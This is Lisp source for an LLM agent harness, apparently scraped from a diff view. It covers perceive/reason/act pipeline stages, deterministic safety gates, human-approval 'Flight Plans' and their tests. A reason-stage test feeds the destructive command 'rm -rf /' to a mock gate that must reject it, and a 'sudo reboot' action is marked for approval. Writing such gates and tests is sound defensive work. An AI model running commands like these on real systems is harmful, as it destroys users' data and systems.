(target (intern (string-upcase (string raw-target)) :keyword))
;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
(actual-target (if (and (eq target :system)
(getf meta :reply-stream)
(ignore-errors (open-stream-p (getf meta :reply-stream))))
:tui
target))
(actuator-fn (gethash actual-target *actuator-registry*)))
(when (and meta (null (getf action :meta)))
(setf (getf action :meta) meta))
(if actuator-fn
(funcall actuator-fn action context)
(log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
(defun action-system-execute (action context)
"Execute internal harness commands."
(declare (ignore context))
(let* ((payload (getf action :payload))
(cmd (getf payload :action)))
(case cmd
(:eval
(eval (read-from-string (getf payload :code))))
(:message
(log-message "ACT [System]: ~a" (getf payload :text)))
(t
(log-message "ACT ERROR [System]: Unknown command '~s'" cmd)))))
(defun action-tool-execute (action context)
"Execute a registered cognitive tool."
(let* ((payload (getf action :payload))
(tool-name (getf payload :tool))
(tool-args (getf payload :args))
(depth (getf context :depth 0))
(meta (getf context :meta))
(source (getf meta :source))
(tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
(if tool
(handler-case
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
(result (funcall (cognitive-tool-body tool) clean-args)))
(when source
(action-dispatch (list :TYPE :REQUEST :TARGET source
:PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
context))
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
(error (c)
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
(defun tool-result-format (tool-name result)
"Format a tool result for display."
(if (listp result)
(let ((status (getf result :status))
(content (getf result :content))
(msg (getf result :message)))
(cond
((and (eq status :success) content) (format nil "~a" content))
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
(defun loop-gate-act (signal)
"Final stage of the metabolic pipeline: Actuation.
For approval-required actions, creates a Flight Plan instead of executing."
(let* ((approved (getf signal :approved-action))
(signal-status (getf signal :status))
(type (getf signal :type))
(meta (getf signal :meta))
(source (getf meta :source))
(feedback nil))
;; HITL: if the approved action requires human approval,
;; create a Flight Plan (Emacs) and HITL entry (all gateways).
(when (and approved
(eq (getf approved :level) :approval-required))
(let* ((payload (getf approved :payload))
(blocked-action (getf payload :action))
(hitl (hitl-create blocked-action)))
(log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
(dispatcher-flight-plan-create blocked-action)
(setf (getf signal :status) :suspended)
(action-dispatch (list :target source
:payload (list :text (getf hitl :message)))
signal)
(setf approved nil)
(setf feedback nil)))
(when approved
(let* ((original-type (getf approved :type))
(verified (cognitive-verify approved signal)))
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
(not (eq (getf verified :level) :approval-required))
(not (member original-type '(:LOG :EVENT))))
(progn
(log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
(setf (getf signal :approved-action) nil)
(setf feedback verified))
(progn
(setf (getf signal :approved-action) verified)
(setf approved verified)))))
(case type
(:REQUEST (action-dispatch signal signal))
(:LOG (action-dispatch signal signal))
(:EVENT
(if approved
(let* ((target (getf approved :target))
(result (action-dispatch approved signal)))
(cond
((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
(setf feedback result))
((and result (not (member target *actuator-silent*)))
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
:payload (list :sensor :tool-output :result result :tool approved))))))
(when source (action-dispatch signal signal)))))
(setf (getf signal :status) :acted)
feedback))
(defun act-gate (signal)
(loop-gate-act signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-act-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-act-suite))
(in-package :passepartout-pipeline-act-tests)
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
(in-suite pipeline-act-suite)
(test test-loop-gate-act-basic
"Contract 1: approved action reaches :acted status via loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
(result (loop-gate-act signal)))
(is (eq :acted (getf signal :status)))
(is (null result))))
(test test-loop-gate-act-no-approved-action
"Contract 1: signal with no approved-action still reaches :acted status."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0)))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))))
(test test-loop-gate-act-last-mile-reject
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-blocker
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx action))
(list :type :LOG :payload (list :text "Last-mile block"))))
(let* ((signal (list :type :EVENT :status nil :depth 0
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))
(is (null (getf signal :approved-action)))))
(test test-loop-gate-act-preserves-meta
"Contract 1: signal metadata is not mutated by loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((meta '(:source :tui :session "s1"))
(signal (list :type :EVENT :status nil :depth 0 :meta meta
:approved-action '(:target :cli :payload (:text "test")))))
(loop-gate-act signal)
(is (equal meta (getf signal :meta)))))
(test test-action-dispatch-routes
"Contract 3: action-dispatch routes to registered actuators without crashing."
(actuator-initialize)
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
'(:type :EVENT :depth 0))))
(is (numberp result) "eval should return a number")))

155
lisp/core-loop-perceive.lisp
View File

@@ -1,155 +0,0 @@
(in-package :passepartout)
(defvar *loop-interrupt* nil)
(defvar *scope-resolver* nil
"If set, function returning current scope keyword. Used by perceive gate.")
(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
"Sensors that are processed in dedicated threads.")
(defvar *loop-focus-id* nil
"The Org ID of the node the user is currently interacting with.")
(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
"Pre-reason handler registry: sensor keyword → handler function.")
(defun register-pre-reason-handler (sensor fn)
"Registers FN to handle signals with SENSOR in the perceive gate.
FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
(defun stimulus-inject (raw-message &key stream (depth 0))
"Inject a raw message into the signal processing pipeline."
(let* ((payload (getf raw-message :payload))
(sensor (getf payload :sensor))
(meta (getf raw-message :meta))
(async-p (or (getf payload :async-p)
(member sensor *loop-async-sensors*))))
(unless meta
(setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
(when stream
(setf (getf meta :reply-stream) stream))
(setf (getf raw-message :meta) meta)
(setf (getf raw-message :depth) depth)
(if async-p
(bt:make-thread
(lambda ()
(restart-case (process-signal raw-message)
(skip-event () nil)))
:name "passepartout-async-task")
(restart-case
(handler-bind ((error (lambda (c)
(log-message "SYSTEM ERROR: ~a" c)
(invoke-restart 'skip-event))))
(process-signal raw-message))
(skip-event ()
(log-message "SYSTEM RECOVERY: Stimulus dropped."))))))
(defun loop-gate-perceive (signal)
"Stage 1 of the metabolic pipeline: Normalize sensory input."
(let* ((payload (getf signal :payload))
(type (getf signal :type))
(meta (getf signal :meta))
(sensor (getf payload :sensor)))
;; HITL: intercept approval/denial commands before LLM processing
(when (and (eq sensor :user-input)
(stringp (getf payload :text)))
(let ((text (getf payload :text)))
(when (ignore-errors (hitl-handle-message text (getf meta :source)))
(log-message "GATE [Perceive]: HITL command processed — ~a" text)
(return-from loop-gate-perceive signal))))
;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
(let ((handler (gethash sensor *pre-reason-handlers*)))
(when handler
(when (funcall handler signal)
(return-from loop-gate-perceive signal))))
(log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
type (or sensor "no-sensor") (getf meta :source))
(cond ((eq type :EVENT)
(case sensor
(:buffer-update
(let ((ast (getf payload :ast)))
(when ast
(snapshot-memory)
(ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
(:point-update
(let ((element (getf payload :element)))
(when element
(snapshot-memory)
(setf *loop-focus-id* (getf element :id))
(ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
(:interrupt
(setf *loop-interrupt* t))
;; HITL: re-injected approved action from dispatcher-approvals-process
(:approval-required
(when (getf payload :approved)
(log-message "GATE [Perceive]: Approved Flight Plan re-injected")
(setf (getf signal :approved) t)
(setf (getf signal :approved-action) (getf payload :action))))
;; Default sensor: pass through without requiring user-input processing
(otherwise
(log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
((eq type :RESPONSE)
(log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
(setf (getf signal :status) :perceived)
(setf (getf signal :foveal-focus) *loop-focus-id*)
signal))
(defun perceive-gate (signal)
(loop-gate-perceive signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-perceive-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-perceive-suite))
(in-package :passepartout-pipeline-perceive-tests)
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
(in-suite pipeline-perceive-suite)
(test test-loop-gate-perceive
"Contract 1: :buffer-update ingests AST and sets :perceived status."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
(test test-depth-limiting
"Edge: depth 11 signals are rejected by the pipeline."
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
(is (null (process-signal runaway-signal)))))
(test test-loop-gate-perceive-unknown-sensor
"Contract 1: unknown sensors pass through and reach :perceived."
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-loop-gate-perceive-no-ast
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-depth-limiting-normal
"Contract 1: signals at normal depth pass through without rejection."
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
(is (not (eq :rejected (getf normal-signal :status)))
"Signal at normal depth should not be rejected")))

285
lisp/core-loop-reason.lisp
View File

@@ -1,285 +0,0 @@
(in-package :passepartout)
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
"Maps provider keyword → handler function (prompt system-prompt &key model).")
(defun register-probabilistic-backend (name fn)
"Register FN as the handler for provider NAME."
(setf (gethash name *probabilistic-backends*) fn))
(defvar *backend-registry* (make-hash-table :test 'equal))
(defvar *provider-cascade* nil)
(defvar *model-selector* nil)
(defvar *consensus-enabled* nil)
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
(defun backend-cascade-call (prompt &key
(system-prompt "You are the Probabilistic engine.")
(cascade nil)
(context nil))
(let ((backends (or cascade *provider-cascade*))
(result nil))
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
(funcall *model-selector* backend context)))
(skip (eq model :skip))
(r (unless skip
(if (and model (not skip))
(funcall backend-fn prompt system-prompt :model model)
(funcall backend-fn prompt system-prompt)))))
(when skip
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
(cond ((and (listp r) (eq (getf r :status) :success))
(setf result (getf r :content))
(return result))
((stringp r)
(setf result r)
(return result))
(t
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
backend (getf r :message))))))))))(defun markdown-strip (text)
(if (and text (stringp text))
(let ((cleaned text))
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
(string-trim '(#\Space #\Newline #\Tab) cleaned))
text))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
(defun think (context)
(let* ((active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(global-context (context-assemble-global-awareness))
(system-logs (context-get-system-logs))
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
(raw-prompt (if prompt-generator
(funcall prompt-generator context)
(let ((p (proto-get (proto-get context :payload) :text)))
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(skill-augments (let ((augments ""))
(maphash (lambda (name skill)
(declare (ignore name))
(let ((aug-fn (skill-system-prompt-augment skill)))
(when aug-fn
(let ((aug-text (ignore-errors (funcall aug-fn context))))
(when (and aug-text (stringp aug-text) (> (length aug-text) 0))
(setf augments (concatenate 'string augments aug-text (string #\Newline))))))))
*skill-registry*)
(when (> (length augments) 0) augments)))
(system-prompt (format nil "IDENTITY: ~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a~%~a"
assistant-name reflection-feedback tool-belt global-context system-logs
(or skill-augments ""))))
(let* ((thought (backend-cascade-call raw-prompt :system-prompt system-prompt :context context))
(cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (read-from-string cleaned)))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))
(defun cognitive-verify (proposed-action context)
"Runs all registered deterministic gates against the proposed action,
sorted by priority (highest first). Returns a rejection plist or the action."
(let ((current-action (copy-tree proposed-action))
(approval-needed nil)
(approval-action nil)
(gates nil))
;; Collect gates sorted by priority (highest first)
(maphash (lambda (name skill)
(declare (ignore name))
(when (skill-deterministic-fn skill)
(push (cons (skill-priority skill) (skill-deterministic-fn skill)) gates)))
*skill-registry*)
(setf gates (sort gates #'> :key #'car))
(dolist (gate-pair gates)
(let ((result (funcall (cdr gate-pair) current-action context)))
(cond
((eq (getf result :level) :approval-required)
(setf approval-needed t
approval-action (getf (getf result :payload) :action)))
((member (getf result :type) '(:LOG :EVENT))
(return-from cognitive-verify result))
((and (listp result) result)
(setf current-action result)))))
(if approval-needed
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required
:action approval-action))
current-action)))
(defun loop-gate-reason (signal)
(let* ((type (proto-get signal :type))
(payload (proto-get signal :payload))
(sensor (proto-get payload :sensor)))
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
(return-from loop-gate-reason signal))
(let ((retries 3)
(current-signal (copy-tree signal))
(last-rejection nil))
(loop
(when (<= retries 0)
(setf (getf signal :approved-action) last-rejection)
(setf (getf signal :status) :reasoned)
(return signal))
(when last-rejection
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
(let ((candidate (think current-signal)))
(if (and candidate (listp candidate))
(let ((verified (cognitive-verify candidate current-signal)))
;; Approval-required is not a rejection — pass to act for Flight Plan
(if (eq (getf verified :level) :approval-required)
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :requires-approval)
(return signal))
;; Hard rejection: retry with feedback
(if (member (getf verified :type) '(:LOG :EVENT))
(progn (decf retries) (setf last-rejection verified))
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :reasoned)
(return signal)))))
(progn
(setf (getf signal :approved-action) nil)
(setf (getf signal :status) :reasoned)
(return signal))))))))
(defun reason-gate (signal)
(loop-gate-reason signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-reason-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-reason-suite))
(in-package :passepartout-pipeline-reason-tests)
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
(in-suite pipeline-reason-suite)
(test test-decide-gate-safety
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-safety
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(if (search "rm -rf" (format nil "~s" action))
(list :type :LOG :payload (list :text "Rejected"))
action)))
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
(signal '(:type :EVENT :payload (:sensor :user-input)))
(result (cognitive-verify candidate signal)))
(is (eq :LOG (getf result :type)))))
(test test-cognitive-verify-pass-through
"Contract 1: safe actions pass through cognitive-verify unchanged."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-passthrough
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
action))
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
(signal '(:type :EVENT :payload (:sensor :user-input)))
(result (cognitive-verify candidate signal)))
(is (equal candidate result))))
(test test-cognitive-verify-empty-registry
"Contract 1: with no gates registered, action passes through unchanged."
(clrhash passepartout::*skill-registry*)
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
(signal '(:type :EVENT :payload (:sensor :user-input)))
(result (cognitive-verify candidate signal)))
(is (equal candidate result))))
(test test-cognitive-verify-approval-required
"Contract 1: gate returning :approval-required produces an approval event."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-approval
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(list :type :EVENT :level :approval-required
:payload (list :action action))))
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
(signal '(:type :EVENT :payload (:sensor :user-input)))
(result (cognitive-verify candidate signal)))
(is (eq :approval-required (getf result :level)))
(is (eq :EVENT (getf result :type)))))
(test test-loop-gate-reason-passthrough
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
(result (loop-gate-reason signal)))
(is (not (null result)))))
(test test-loop-gate-reason-sets-status
"Contract 2: loop-gate-reason sets :status on :user-input signals."
(clrhash passepartout::*skill-registry*)
(let* ((passepartout::*provider-cascade* nil)
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
(result (loop-gate-reason signal)))
(is (member (getf result :status) '(:reasoned :requires-approval)))))
(test test-backend-cascade-no-backends
"Contract 4: empty cascade returns :LOG failure."
(let* ((passepartout::*provider-cascade* nil)
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(result (backend-cascade-call "test" :cascade '())))
(is (eq :LOG (getf result :type)))
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
(is (string= "mock-response" result)))))

179
lisp/core-loop.lisp
View File

@@ -1,179 +0,0 @@
(in-package :passepartout)
(defvar *interrupt-flag* nil
"Atomic flag set by signal handlers to trigger graceful shutdown.")
(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock")
"Mutex protecting *interrupt-flag* access.")
(defvar *heartbeat-thread* nil
"Handle to the heartbeat thread.")
(defun loop-process (signal)
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
(let ((current-signal signal))
(loop while current-signal do
(let ((depth (getf current-signal :depth 0))
(meta (getf current-signal :meta)))
(when (> depth 10)
(log-message "METABOLISM ERROR: Max recursion depth reached.")
(return nil))
(when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(defun process-signal (signal)
(loop-process signal))
(defvar *memory-auto-save-interval* 300)
(defvar *heartbeat-save-counter* 0)
(defun heartbeat-start ()
"Starts the background heartbeat thread."
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
(auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*)))
(setf *memory-auto-save-interval* auto-save)
(setf *heartbeat-save-counter* 0)
(setf *heartbeat-thread*
(bt:make-thread
(lambda ()
(loop
(sleep interval)
(incf *heartbeat-save-counter*)
(when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
(setf *heartbeat-save-counter* 0)
(save-memory-to-disk))
(stimulus-inject
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
:name "passepartout-heartbeat"))))
(defvar *shutdown-save-enabled* t)
(defvar *system-health* :unknown
"Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
(defvar *health-check-ran* nil
"Flag indicating if initial health check has completed.")
(defun diagnostics-startup-run ()
"Runs the doctor diagnostics on startup. Returns health status."
(format t "~%")
(format t "==================================================~%")
(format t " DOCTOR: Running Startup Health Check~%")
(format t "==================================================~%")
(handler-case
(progn
(when (fboundp 'diagnostics-run-all)
(let ((result (diagnostics-run-all :auto-install nil)))
(setf *health-check-ran* t)
(if result
(progn
(setf *system-health* :healthy)
(format t "DAEMON: Health check passed. Starting services.~%"))
(progn
(setf *system-health* :degraded)
(format t "DAEMON: Health check found issues.~%")
(format t " Run 'passepartout diagnostics' to repair.~%")))))
(setf *health-check-ran* t))
(error (c)
(format t "DIAGNOSTICS ERROR: ~a~%" c)
(setf *system-health* :unhealthy)
(setf *health-check-ran* t)))
(format t "==================================================~%~%"))
(defun main ()
"Entry point for Passepartout. Initializes the system and enters idle loop."
(let* ((home (uiop:getenv "HOME"))
(env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home))))
(when (uiop:file-exists-p env-file)
(cl-dotenv:load-env env-file)))
(load-memory-from-disk)
(actuator-initialize)
(skill-initialize-all)
;; Run proactive diagnostics before starting services
(diagnostics-startup-run)
(heartbeat-start)
(start-daemon)
#+sbcl
(sb-sys:enable-interrupt sb-unix:sigint
(lambda (sig code scp)
(declare (ignore sig code scp))
(log-message "SHUTDOWN: SIGINT received. Saving memory...")
(when *shutdown-save-enabled* (save-memory-to-disk))
(uiop:quit 0)))
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
(loop
(when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
(log-message "SHUTDOWN: Interrupt flag set. Saving memory...")
(when *shutdown-save-enabled* (save-memory-to-disk))
(return))
(sleep sleep-interval))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-immune-system-tests
(:use :cl :fiveam :passepartout)
(:export #:immune-suite))
(in-package :passepartout-immune-system-tests)
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
(in-suite immune-suite)
(test loop-error-injection
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
(clrhash passepartout::*skill-registry*)
(passepartout:defskill :evil-skill
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
:deterministic nil)
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
(let ((logs (passepartout:context-get-system-logs 20)))
(is (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))
(test test-process-signal-normal-path
"Contract 1: a valid signal passes through the pipeline without crash."
(clrhash passepartout::*skill-registry*)
(handler-case
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
(process-signal signal)
(pass))
(error (c)
(fail "Pipeline crashed on normal signal: ~a" c))))
(test test-loop-process-returns-nil-on-deep
"Contract 1: depth > 10 returns nil from loop-process."
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
(is (null result))))

213
lisp/core-memory.lisp
View File

@@ -1,213 +0,0 @@
(in-package :passepartout)
(defvar *memory-store* (make-hash-table :test 'equal))
(defvar *memory-history* (make-hash-table :test 'equal)
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
(defun memory-object-get (id)
"Retrieves an memory-object by ID from *memory-store*."
(gethash id *memory-store*))
(defun memory-objects-by-attribute (attr value)
"Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE."
(let ((results nil))
(maphash (lambda (id obj)
(declare (ignore id))
(when (equal (getf (memory-object-attributes obj) attr) value)
(push obj results)))
*memory-store*)
(nreverse results)))
(defun memory-id-generate ()
"Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs."
(concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid)))))
(defstruct memory-object
id type attributes content vector parent-id children version last-sync hash scope)
(defmethod make-load-form ((obj memory-object) &optional env)
(make-load-form-saving-slots obj :environment env))
(defun deep-copy-memory-object (obj)
"Creates a full copy of an memory-object, including fresh lists for attributes and children."
(make-memory-object :id (memory-object-id obj)
:type (memory-object-type obj)
:attributes (copy-list (memory-object-attributes obj))
:content (memory-object-content obj)
:vector (memory-object-vector obj)
:parent-id (memory-object-parent-id obj)
:children (copy-list (memory-object-children obj))
:version (memory-object-version obj)
:last-sync (memory-object-last-sync obj)
:hash (memory-object-hash obj)
:scope (memory-object-scope obj)))
(defun memory-merkle-hash (id type attributes content child-hashes)
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
(attr-string (format nil "~s" sorted-alist))
(children-string (format nil "~{~a~}" child-hashes))
(data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
id type attr-string (or content "") children-string))
(digester (ironclad:make-digest :sha256)))
(ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
(ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
(defun ingest-ast (ast &key parent-id (scope :memex))
(let* ((type (getf ast :type))
(props (getf ast :properties))
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
(contents (getf ast :contents))
(raw-content (when (eq type :HEADLINE)
(format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
(child-ids nil) (child-hashes nil))
(dolist (child contents)
(when (listp child)
(let ((child-id (ingest-ast child :parent-id id :scope scope)))
(push child-id child-ids)
(let ((child-obj (gethash child-id *memory-store*)))
(when child-obj (push (memory-object-hash child-obj) child-hashes))))))
(setf child-ids (nreverse child-ids))
(setf child-hashes (nreverse child-hashes))
(let* ((hash (memory-merkle-hash id type props raw-content child-hashes))
